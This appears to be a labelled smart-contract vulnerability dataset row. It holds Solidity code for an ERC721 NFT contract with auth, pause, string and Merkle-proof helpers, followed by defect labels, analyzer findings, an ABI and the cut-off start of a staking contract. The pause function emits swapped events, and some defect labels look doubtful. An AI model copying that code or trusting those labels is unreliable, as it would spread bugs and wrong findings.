* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory data_
) internal virtual {
_transfer(from, to, tokenId);
_checkOnERC721Received(from, to, tokenId, data_);
}
/**
* @notice Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return tokenId < _owners.length && _owners[tokenId] != address(0);
}
/**
* @notice Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: query for nonexistent token");
address owner = _owners[tokenId];
return (spender == owner || getApproved(tokenId) == spender || _isApprovedForAll[owner][spender]);
}
/**
* @notice Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @notice Same as {_safeMint}, but with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory data_
) internal virtual {
_mint(to, tokenId);
_checkOnERC721Received(address(0), to, tokenId, data_);
}
/**
* @notice Mints `tokenId` and transfers it to `to`.
*
* Requirements:
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_owners.push(to);
unchecked {
_balanceOf[to]++;
}
emit Transfer(address(0), to, tokenId);
}
/**
* @notice Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
delete _owners[tokenId];
_balanceOf[owner]--;
emit Transfer(owner, address(0), tokenId);
}
/**
* @notice Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(_owners[tokenId] == from, "ERC721: transfer of token that is not own");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_owners[tokenId] = to;
unchecked {
_balanceOf[from]--;
_balanceOf[to]++;
}
emit Transfer(from, to, tokenId);
}
/**
* @notice Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(_owners[tokenId], to, tokenId);
}
/**
* @notice Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_isApprovedForAll[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @notice Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param data bytes optional data to send along with the call
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory data
) private {
if (to.code.length > 0) {
try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, data) returns (bytes4 returned) {
require(returned == 0x150b7a02, "ERC721: safe transfer to non ERC721Receiver implementation");
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: safe transfer to non ERC721Receiver implementation");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
}
/**
* @notice Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/* ___ _ _ _ _ __ _ __ */
/* /',__)( ) ( )( '_`\ /'__`\( '__) */
/* \__, \| (_) || (_) )( ___/| | */
/* (____/`\___/'| ,__/'`\____)(_) */
/* | | */
/* (_) */
/// @notice See {IERC165-supportsInterface}.
function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {
return
interfaceId == 0x80ac58cd || // ERC721
interfaceId == 0x5b5e139f || // ERC721Metadata
interfaceId == 0x780e9d63 || // ERC721Enumerable
interfaceId == 0x01ffc9a7; // ERC165
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes memory data
) external returns (bytes4);
}
// File: sol-temple/src/utils/Auth.sol
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0 <0.9.0;
/**
* @title Auth
* @author naomsa <https://twitter.com/naomsa666>
* @notice Authing system where the `owner` can authorize function calls
* to other addresses as well as control the contract by his own.
*/
abstract contract Auth {
/* _ _ */
/* ( )_ ( )_ */
/* ___ | ,_) _ _ | ,_) __ */
/* /',__)| | /'_` )| | /'__`\ */
/* \__, \| |_ ( (_| || |_ ( ___/ */
/* (____/`\__)`\__,_)`\__)`\____) */
/// @notice Emited when the ownership is transfered.
event OwnershipTransfered(address indexed from, address indexed to);
/// @notice Emited a new call with `data` is authorized to `to`.
event AuthorizationGranted(address indexed to, bytes data);
/// @notice Emited a new call with `data` is forbidden to `to`.
event AuthorizationForbidden(address indexed to, bytes data);
/// @notice Contract's owner address.
address private _owner;
/// @notice A mapping to retrieve if a call data was authed and is valid for the address.
mapping(address => mapping(bytes => bool)) private _isAuthorized;
/**
* @notice A modifier that requires the user to be the owner or authorization to call.
* After the call, the user loses it's authorization if he's not the owner.
*/
modifier onlyAuthorized() {
require(isAuthorized(msg.sender, msg.data), "Auth: sender is not the owner or authorized to call");
_;
if (msg.sender != _owner) _isAuthorized[msg.sender][msg.data] = false;
}
/// @notice A simple modifier just to check whether the sender is the owner.
modifier onlyOwner() {
require(msg.sender == _owner, "Auth: sender is not the owner");
_;
}
/* _ */
/* (_ ) _ */
/* | | _ __ (_) ___ */
/* | | /'_`\ /'_ `\| | /'___) */
/* | | ( (_) )( (_) || |( (___ */
/* (___)`\___/'`\__ |(_)`\____) */
/* ( )_) | */
/* \___/' */
constructor() {
_transferOwnership(msg.sender);
}
/// @notice Returns the current contract owner.
function owner() public view returns (address) {
return _owner;
}
/// @notice Retrieves whether `user_` is authorized to call with `data_`.
function isAuthorized(address user_, bytes memory data_) public view returns (bool) {
return user_ == _owner || _isAuthorized[user_][data_];
}
/// @notice Set the owner address to `owner_`.
function transferOwnership(address owner_) public onlyOwner {
require(_owner != owner_, "Auth: transfering ownership to current owner");
_transferOwnership(owner_);
}
/// @notice Set the owner address to `owner_`. Does not require anything
function _transferOwnership(address owner_) internal {
address oldOwner = _owner;
_owner = owner_;
emit OwnershipTransfered(oldOwner, owner_);
}
/// @notice Authorize a call with `data_` to the address `to_`.
function auth(address to_, bytes memory data_) public onlyOwner {
require(to_ != _owner, "Auth: authorizing call to the owner");
require(!_isAuthorized[to_][data_], "Auth: authorized calls cannot be authed");
_isAuthorized[to_][data_] = true;
emit AuthorizationGranted(to_, data_);
}
/// @notice Authorize a call with `data_` to the address `to_`.
function forbid(address to_, bytes memory data_) public onlyOwner {
require(_isAuthorized[to_][data_], "Auth: unauthorized calls cannot be forbidden");
delete _isAuthorized[to_][data_];
emit AuthorizationForbidden(to_, data_);
}
}
// File: sol-temple/src/utils/Pausable.sol
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0 <0.9.0;
/**
* @title Pausable
* @author naomsa <https://twitter.com/naomsa666>
* @notice Freeze your contract with a secure paused mechanism.
*/
abstract contract Pausable {
/* _ _ */
/* ( )_ ( )_ */
/* ___ | ,_) _ _ | ,_) __ */
/* /',__)| | /'_` )| | /'__`\ */
/* \__, \| |_ ( (_| || |_ ( ___/ */
/* (____/`\__)`\__,_)`\__)`\____) */
/// @notice Emited when the contract is paused.
event Paused(address indexed by);
/// @notice Emited when the contract is unpaused.
event Unpaused(address indexed by);
/// @notice Read-only pause state.
bool private _paused;
/// @notice A modifier to be used when the contract must be paused.
modifier onlyWhenPaused() {
require(_paused, "Pausable: contract not paused");
_;
}
/// @notice A modifier to be used when the contract must be unpaused.
modifier onlyWhenUnpaused() {
require(!_paused, "Pausable: contract paused");
_;
}
/* _ */
/* (_ ) _ */
/* | | _ __ (_) ___ */
/* | | /'_`\ /'_ `\| | /'___) */
/* | | ( (_) )( (_) || |( (___ */
/* (___)`\___/'`\__ |(_)`\____) */
/* ( )_) | */
/* \___/' */
/// @notice Retrieve contracts pause state.
function paused() public view returns (bool) {
return _paused;
}
/// @notice Inverts pause state. Declared internal so it can be combined with the Auth contract.
function _togglePaused() internal {
_paused = !_paused;
if (_paused) emit Unpaused(msg.sender);
else emit Paused(msg.sender);
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
| [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["97", "76"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["214"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["215", "728", "840", "862"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["282"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["710", "720", "355", "379", "286", "572", "715"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["96"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/cryptography/MerkleProof.sol": [38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/cryptography/MerkleProof.sol": [22, 23, 24, 25, 26, 27, 28]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/cryptography/MerkleProof.sol": [4]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 589, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 629, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 630, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 631, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 632, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 879, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 470, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 485, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 507, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 510, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 536, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 359, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 930, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 359, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 930, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 223, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 223, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 650, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 650, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 757, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 757, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 822, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 894, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 255, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 258, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 261, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 264, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 676, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 679, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 779, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 828, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 591, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 594, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 52, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 275, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 706, "severity": 1}] | [{"inputs":[{"internalType":"string","name":"unrevealedURI_","type":"string"},{"internalType":"bytes32","name":"merkleRoot_","type":"bytes32"},{"internalType":"address","name":"opensea_","type":"address"},{"internalType":"address","name":"looksrare_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_operator","type":"address"},{"indexed":false,"internalType":"bool","name":"_approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"AuthorizationForbidden","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"AuthorizationGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"OwnershipTransfered","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"by","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":true,"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"by","type":"address"}],"name":"Unpaused","type":"event"},{"inputs":[],"name":"MAX_PER_TX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to_","type":"address"},{"internalType":"bytes","name":"data_","type":"bytes"}],"name":"auth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseExtension","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount_","type":"uint256"}],"name":"claim","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount_","type":"uint256"},{"internalType":"bytes32[]","name":"proof_","type":"bytes32[]"}],"name":"claimWhitelist","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"to_","type":"address"},{"internalType":"bytes","name":"data_","type":"bytes"}],"name":"forbid","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user_","type":"address"},{"internalType":"bytes","name":"data_","type":"bytes"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user_","type":"address"},{"internalType":"bytes32[]","name":"proof_","type":"bytes32[]"}],"name":"isWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"looksrare","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketplacesApproved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merkleRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"opensea","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"data_","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saleState","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI_","type":"string"},{"internalType":"string","name":"baseExtension_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"looksrare_","type":"address"}],"name":"setLooksrare","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"merkleRoot_","type":"bytes32"}],"name":"setMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"opensea_","type":"address"}],"name":"setOpensea","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"saleState_","type":"uint256"}],"name":"setSaleState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"unrevealedURI_","type":"string"}],"name":"setUnrevealedURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toggleMarketplacesApproved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"togglePaused","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId_","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"tokensOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unrevealedURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelistMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount_","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.11+commit.d7f03943 | true | 1,024 | 000000000000000000000000000000000000000000000000000000000000008047d0337f23aa3c3c402bf19422234aa5c0304a2de6a865528e1428a4be2578f0000000000000000000000000a5409ec958c83c3f309868babaca7c86dcb077c1000000000000000000000000f42aa99f011a1fa7cda90e5e98b277e306bca83e0000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d5045644a335a534a3459706d6437476531766e774c6b4e52715253387132556d4e61674d6f477235756b44432f00000000000000000000 | Default | false | ||||
StakingRewards | 0xfd15657341492d1918e3a8b7421e9627d52056e9 | Solidity | library Math {
function max(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
function average(uint a, uint b) internal pure returns (uint) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
